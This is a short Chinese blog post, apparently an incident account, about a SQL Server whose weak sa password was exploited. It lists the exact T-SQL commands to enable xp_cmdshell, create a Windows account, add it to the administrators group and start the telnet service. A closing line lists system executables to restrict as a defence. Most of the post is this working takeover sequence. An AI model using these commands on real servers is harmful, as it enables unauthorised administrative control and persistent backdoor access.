SqlServer被提权,得到服务器权限


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

过程:利用x-scan扫描目标机,因服务器sqlserver是弱口令,得到sa权限。用查询分析器连接上去,执行以下方法添加一个管理员账号,进尔得到服务器的控制权限:

–打开xp_cmdshell
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘

应对方式:net.exe ;net1.exet ;cmd.exe ;tftp.exe ;netstat.exe ;regedit.exe ;at.exe ;
attrib.exe;cacls.exe;format.com;ftp.exe;at.exe;telnet.exe;command.com;netstat.exe;arp.exe;nbtstat.exe仅给管理员权限,其它都去掉,包括system